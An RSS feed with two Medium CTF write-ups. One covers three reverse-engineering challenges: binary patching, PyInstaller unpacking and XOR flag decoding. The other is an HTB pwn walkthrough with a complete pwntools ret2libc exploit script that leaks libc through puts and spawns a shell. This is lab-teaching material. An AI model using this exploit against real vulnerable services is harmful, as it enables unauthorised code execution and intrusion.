<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by aya(samurai) on Medium]]></title>
        <description><![CDATA[Stories by aya(samurai) on Medium]]></description>
        <link>https://medium.com/@osmanyoyo591?source=rss-e5ee484ac2b7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*FETD8O0zNDTEBFXNFNs4Cg.jpeg</url>
            <title>Stories by aya(samurai) on Medium</title>
            <link>https://medium.com/@osmanyoyo591?source=rss-e5ee484ac2b7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 13:46:09 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@osmanyoyo591/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ICMTC CTF 2026 Reverse Engineering Challenges]]></title>
            <link>https://medium.com/@osmanyoyo591/icmtc-ctf-2026-reverse-engineering-challenges-0cf209c6c69a?source=rss-e5ee484ac2b7------2</link>
            <guid isPermaLink="false">https://medium.com/p/0cf209c6c69a</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[icmtc-ctf]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[icmtc-2026]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[aya(samurai)]]></dc:creator>
            <pubDate>Sat, 13 Jun 2026 15:18:06 GMT</pubDate>
            <atom:updated>2026-06-13T16:01:13.582Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Greetings hackers, it’s Samurai!<br>In this writeup, I will walk through solving three reverse engineering challenges from ICMTC.</strong></p><h3>1-challenge name :Uncoding</h3><h3>-difficulty : easy</h3><h3>-link : https://drive.google.com/file/d/1fJqPtXbMxQd4O3vGSJq8ssR32n5xdcLZ/view?usp=sharing</h3><h3><em>|Challenge Overview</em></h3><p>After identifying the file as a 64-bit ELF executable, I ran the program to observe its behavior. The binary presents a menu with four choices, from 0 to 3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*OhyICuVWH9Jsw4t-J4WQ_A.png" /></figure><p>After that, I analyzed the binary using IDA</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LWUeSqU_WzMTLVgXB3e2bw.png" /></figure><p>I started from the main function to understand how the user input is handled. From there, I found that the selected memory index is passed to the decrypt_message() function, so I moved on to analyze it in more detail.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yY7Z_llsfugGBg0ufg11uQ.png" /></figure><p>I found that the program checks if the user selected option 3.</p><p>The assembly code was:</p><pre>cmp     [rbp+var_24], 3<br>jnz     short loc_11A7</pre><p>I understood that if the input is not 3, the program continues normally. But if the input is 3, it shows the “locked away” error instead of decrypting the message.</p><p>So, I patched the jump instruction from:</p><pre>jnz short loc_11A7</pre><p>to:</p><pre>jmp short loc_11A7</pre><p>This made the program skip the locked error and go directly to the decryption part.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*sALx8eMGnnmstY9WhITvXg.gif" /></figure><p>After running the patched binary and choosing option 3, the flag was printed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*NirhGI-xD3ivgcrCEugPrw.png" /></figure><h3>2-challenge name : iron_window</h3><h3>-difficulty : medium</h3><h3>-link : <a href="https://drive.google.com/file/d/1XJdNct3rNkYrG-2pRw2fgkYPfl4kJrZf/view?usp=sharing">https://drive.google.com/file/d/1XJdNct3rNkYrG-2pRw2fgkYPfl4kJrZf/view?usp=sharing</a></h3><h3>|Challenge Overview</h3><p>I started by checking the binary using the file command. The output showed that it was a 64-bit ELF executable and stripped, meaning symbols were removed.</p><p>Then I used strings to look for packing indicators:</p><pre>strings ./iron_window | grep -i -E &quot;pyinstaller|pyi|upx|packed|archive|pkg&quot;</pre><p>The output showed many PyInstaller-related strings such as PYI, pyi-python-flag, and embedded archive messages. From this, I understood that the binary was packed with PyInstaller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*pRrsAliLZQSfowbgx1-U3A.png" /></figure><p>To extract the embedded Python files, I used pyinstxtractor.py. First, I downloaded the tool using wget:</p><pre>wget https://raw.githubusercontent.com/extremecoders-re/pyinstxtractor/master/pyinstxtractor.py</pre><p>Then I ran it on the binary:</p><pre>python3 pyinstxtractor.py ./iron_window</pre><p>This extracted the internal files of the PyInstaller executable and created a new folder containing the bundled Python bytecode files. After extraction, I found the main .pyc file, which I analyzed in the next step.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*Zj3HA3CGCQqSxH6FEWrNuA.png" /></figure><p>Inside the extracted directory, I found a file named final1.pyc, which seemed to be the main Python bytecode file. To make it readable, I decompiled it using pycdc.</p><pre>./pycdc/pycdc final1.pyc &gt; final1_dec.py</pre><p>This generated a readable Python file called final1_dec.py. I opened this file to analyze the actual logic of the challenge instead of working directly with the compiled bytecode.</p><pre># Source Generated with Decompyle++<br># File: final1.pyc (Python 3.10)<br><br>import sys<br>import marshal<br>import dis<br><br>def decoy():<br>    print(&#39;Nothing to see here.&#39;)<br>    return 0<br><br><br>def worm_propagation_model():<br>    targets = []<br>    for subnet in range(10, 13):<br>        for host in range(1, 255):<br>            targets.append(subnet &lt;&lt; 8 | host)<br>    return targets<br><br><br>def normalize_key(scan_code, shift = (False,)):<br>    pass<br># WARNING: Decompyle incomplete<br><br><br>def _payload():<br>    values = []<br>    <br>    def emit(base = None, delta = None, count = None):<br>        x = base<br>        for _ in range(count):<br>            x += delta<br>        values.append(x)<br><br>    emit(60, 1, 12)<br>    emit(70, 1, 14)<br>    emit(65, 1, 1)<br>    emit(120, 1, 3)<br>    emit(80, 1, 7)<br>    emit(60, 1, 12)<br>    emit(80, 1, 9)<br>    emit(90, 1, 5)<br>    emit(60, 1, 12)<br>    emit(40, 1, 12)<br>    emit(80, 1, 6)<br>    emit(40, 1, 11)<br>    emit(70, 1, 8)<br>    emit(70, 1, 14)<br>    emit(90, 1, 5)<br>    emit(40, 1, 9)<br>    emit(90, 1, 5)<br>    emit(70, 1, 14)<br>    emit(60, 1, 12)<br>    emit(40, 1, 8)<br>    emit(80, 1, 5)<br>    emit(60, 1, 11)<br>    emit(60, 1, 12)<br>    emit(70, 1, 14)<br>    emit(90, 1, 5)<br>    emit(40, 1, 12)<br>    emit(65, 1, 1)<br>    emit(40, 1, 8)<br>    emit(80, 1, 5)<br>    emit(70, 1, 14)<br>    emit(90, 1, 5)<br>    emit(70, 1, 14)<br>    emit(60, 1, 12)<br>    emit(40, 1, 9)<br>    emit(50, 1, 3)<br>    emit(90, 1, 5)<br>    emit(65, 1, 1)<br>    emit(40, 1, 11)<br>    emit(60, 1, 10)<br>    emit(40, 1, 8)<br>    emit(80, 1, 2)<br>    emit(40, 1, 11)<br>    emit(120, 1, 5)<br>    encoded = []<br>    for v in values:<br>        encoded.append(v ^ 32)<br>    blob = marshal.dumps(tuple(encoded))<br>    return blob<br><br><br>def main():<br>    decoy()<br><br>if __name__ == &#39;__main__&#39;:<br>    main()<br>    return None</pre><p>After decompiling final1.pyc, I noticed that main() only calls the decoy() function, which prints Nothing to see here.. This means the normal execution path was fake.</p><p>The interesting part was the _payload() function. It creates a list called values using many calls to the emit() function.</p><p>The emit() function starts with a base value, then adds delta to it count times, and finally appends the result to values.</p><p>Since delta is always 1, each generated value can be simplified to:</p><pre>value = base + count</pre><p>After building the values, the code XORs each value with 32 and stores the result using marshal.dumps():</p><pre>encoded.append(v ^ 32)</pre><p>To recover the original values, I reversed the operation by loading the marshaled tuple with marshal.loads() and XORing each value again with 32.</p><p>Then I converted the recovered values to ASCII characters using chr(), which revealed the flag.</p><pre>import marshal<br><br>def payload():<br>    values = []<br><br>    def emit(base, delta, count):<br>        x = base<br>        for _ in range(count):<br>            x += delta<br>        values.append(x)<br><br>    emit(60, 1, 12)<br>    emit(70, 1, 14)<br>    emit(65, 1, 1)<br>    emit(120, 1, 3)<br>    emit(80, 1, 7)<br>    emit(60, 1, 12)<br>    emit(80, 1, 9)<br>    emit(90, 1, 5)<br>    emit(60, 1, 12)<br>    emit(40, 1, 12)<br>    emit(80, 1, 6)<br>    emit(40, 1, 11)<br>    emit(70, 1, 8)<br>    emit(70, 1, 14)<br>    emit(90, 1, 5)<br>    emit(40, 1, 9)<br>    emit(90, 1, 5)<br>    emit(70, 1, 14)<br>    emit(60, 1, 12)<br>    emit(40, 1, 8)<br>    emit(80, 1, 5)<br>    emit(60, 1, 11)<br>    emit(60, 1, 12)<br>    emit(70, 1, 14)<br>    emit(90, 1, 5)<br>    emit(40, 1, 12)<br>    emit(65, 1, 1)<br>    emit(40, 1, 8)<br>    emit(80, 1, 5)<br>    emit(70, 1, 14)<br>    emit(90, 1, 5)<br>    emit(70, 1, 14)<br>    emit(60, 1, 12)<br>    emit(40, 1, 9)<br>    emit(50, 1, 3)<br>    emit(90, 1, 5)<br>    emit(65, 1, 1)<br>    emit(40, 1, 11)<br>    emit(60, 1, 10)<br>    emit(40, 1, 8)<br>    emit(80, 1, 2)<br>    emit(40, 1, 11)<br>    emit(120, 1, 5)<br><br>    encoded = []<br>    for v in values:<br>        encoded.append(v ^ 32)<br><br>    blob = marshal.dumps(tuple(encoded))<br>    return blob<br><br>blob = payload()<br>encoded_values = marshal.loads(blob)<br><br>flag = &#39;&#39;.join(chr(v ^ 32) for v in encoded_values)<br>print(flag)</pre><p>let’s run</p><p><strong>HTB{WHY_H4V3NT_1_TH0UGHT_4B0UT_TH15_B3F0R3}</strong></p><h3>3-challenge name : rev_world_hello</h3><h3>-difficulty : medium</h3><h3>-link : <a href="https://drive.google.com/file/d/1a8j1X6NlQwgBruAih192m6KZnQ0Vcj1i/view?usp=sharing">https://drive.google.com/file/d/1a8j1X6NlQwgBruAih192m6KZnQ0Vcj1i/view?usp=sharing</a></h3><h3>|Challenge Overview</h3><p>I started by checking the binary using the file command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*gLM-cJ4VrdLp4_TaOMiqQQ.png" /></figure><p><strong>Next, I loaded the binary into IDA for static analysis. While examining the entry point and runtime functions, I identified several Go-specific functions, such as </strong><strong>rt0_amd64_linux and </strong><strong>runtime.main, which indicated that the binary was written in Go.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*sSKmapMMF0NBQXpzE7FfBQ.gif" /><figcaption>Inside the main.main function, I found four functions responsible for storing the flag parts:</figcaption></figure><pre>main_statA<br>main_statB<br>main_statC<br>main_statD</pre><p>Each function referenced a different part of the flag. After extracting and combining the strings in order, I recovered the final flag:</p><h4><strong>HTB{G0_RUNT1M3_R3V34L5_1NT3NT}</strong></h4><h3>Thanks for reading</h3><blockquote><a href="https://www.linkedin.com/in/aya-othman-a52707357"><strong>LinkedIn</strong></a><strong> <br></strong><a href="http://ayaosman__52914/"><strong>Discord</strong></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0cf209c6c69a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB (PWN Challenge — Restaurant)]]></title>
            <link>https://medium.com/@osmanyoyo591/htb-pwn-challenge-restaurant-b2cf2591622c?source=rss-e5ee484ac2b7------2</link>
            <guid isPermaLink="false">https://medium.com/p/b2cf2591622c</guid>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[htb-restaurant-writeup]]></category>
            <category><![CDATA[htb-restaurant]]></category>
            <category><![CDATA[restaurant-pwn-challenge]]></category>
            <dc:creator><![CDATA[aya(samurai)]]></dc:creator>
            <pubDate>Fri, 20 Feb 2026 23:10:10 GMT</pubDate>
            <atom:updated>2026-02-20T23:10:10.542Z</atom:updated>
            <content:encoded><![CDATA[<p>Greetings hackers, it’s Samurai!<br>Huh, c’mon, it’s gonna be really hard.</p><h3>From Crash to Shell: ret2libc Exploitation Using pwndbg</h3><blockquote>Challenge Overview</blockquote><p>the <em>Restaurant</em> binary is a 64-bit ELF executable vulnerable to a classic buffer overflow.<br> The goal of this challenge was to gain code execution and spawn a shell on the target.</p><h3>1. Initial Binary Analysis</h3><p>First, we inspected the binary protections</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*OuTLQb8QJNNqG_moUonB6A.png" /></figure><p><strong>Security Protections:</strong></p><ul><li>NX: Enabled</li><li>PIE: Disabled</li><li>Stack Canary: No</li><li>RELRO: Full RELRO</li></ul><h3>2-After downloading and extracting the challenge files, I ran the binary:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*o5UnDhxExztvAYER-Gk8pQ.gif" /></figure><h3>3- Analyzing the Program Flow</h3><p>To understand how user input is handled, I disassembled the main function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*5pbLqzvDCoykcEpzIoqLsA.gif" /></figure><p>We can see that selecting option 1 calls the fill() function, which is likely where user input is handled.</p><h3>4-Crashing the Binary with a Cyclic Pattern</h3><p>To find the exact offset needed to overwrite the saved return address (RIP), we use a cyclic pattern from pwntools.</p><p>Command used:</p><pre>python3 -c &quot;from pwn import *; print(&#39;1&#39;); print(cyclic(200))&quot; | ./restaurant</pre><p>What it does:</p><ul><li>Sends 1 → selects “Fill my dish”.</li><li>Sends 200 bytes of cyclic pattern</li><li>Pipes everything directly to the binary.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*nZY85Hyaa4fi9xmf49b-Nw.gif" /></figure><h3>5-Extracting the RIP Value</h3><pre>python3 -c &quot;from pwn import *; print(&#39;1&#39;); print(cyclic(200))&quot; &gt; input.txt</pre><p>Then inside gdb:</p><pre>run &lt; input.txt<br>info registers</pre><h3>6-Calculating the Offset</h3><pre>python3 -c &quot;from pwn import *; print(cyclic_find(0x6161616c6161616b))&quot;</pre><h3>7-Finding pop rdi ; ret gadget</h3><pre>ROPgadget --binary restaurant | grep &quot;pop rdi&quot;</pre><h3>8-Getting the Flag with the Exploit Script</h3><pre>from pwn import *<br><br>elf = ELF(&#39;./restaurant&#39;)<br>libc = ELF(&#39;./libc.so.6&#39;)<br><br>context.binary = elf<br>context.arch = &#39;amd64&#39;<br><br>p = remote(&quot;ip&quot;, port)<br><br>offset = 40<br>rop = ROP(elf)<br>pop_rdi = rop.find_gadget([&#39;pop rdi&#39;, &#39;ret&#39;])[0]<br>ret = rop.find_gadget([&#39;ret&#39;])[0]<br><br>payload = flat(<br>    b&quot;A&quot; * offset,<br>    pop_rdi,<br>    elf.got[&#39;puts&#39;],<br>    elf.plt[&#39;puts&#39;],<br>    elf.symbols[&#39;main&#39;]<br>)<br><br>p.sendlineafter(b&#39;&gt; &#39;, b&#39;1&#39;)<br>p.sendline(payload)<br><br>data = p.recvuntil(b&#39;Welcome&#39;)<br><br><br>leaked_puts = None<br>for i in range(len(data) - 6):<br>    chunk = data[i:i+6]<br>    if chunk[-1] == 0x7f:<br>        leaked_puts = u64(chunk.ljust(8, b&#39;\x00&#39;))<br>        break<br><br>if leaked_puts is None:<br>    print(&quot;[-] Leak not found&quot;)<br>    exit()<br><br>print(&quot;[+] Leaked puts:&quot;, hex(leaked_puts))<br><br><br><br>libc_base = leaked_puts - libc.symbols[&#39;puts&#39;]<br>system = libc_base + libc.symbols[&#39;system&#39;]<br>binsh = libc_base + next(libc.search(b&#39;/bin/sh&#39;))<br><br>print(&quot;[+] Libc base:&quot;, hex(libc_base))<br>print(&quot;[+] system:&quot;, hex(system))<br>print(&quot;[+] /bin/sh:&quot;, hex(binsh))<br><br>p.recvuntil(b&#39;&gt; &#39;)<br><br>p.sendline(b&#39;1&#39;)<br><br>payload = flat(<br>    b&quot;A&quot; * offset,<br>    ret,        <br>    pop_rdi,<br>    binsh,<br>    system<br>)<br><br>p.sendline(payload)<br><br>p.interactive()</pre><p>This script is used to exploit a <strong>buffer overflow</strong> in the restaurant binary to get a remote shell.</p><p>It works in <strong>two stages</strong>:</p><p><strong>Stage 1 — Leak libc address</strong></p><ul><li>Send a ROP chain that calls puts(puts@got).</li><li>This leaks the real libc address of puts.</li><li>Return to main to continue execution.</li></ul><p><strong>Stage 2 — Get Shell</strong></p><ul><li>Calculate libc base from leaked puts.</li><li>Compute addresses of system and /bin/sh.</li><li>Send a second ROP chain:</li></ul><h3>Final Step: Getting the Flag</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*XCYfVuBS2Ky7UDtnoxX1vQ.gif" /></figure><p>Thanks a lot for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b2cf2591622c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>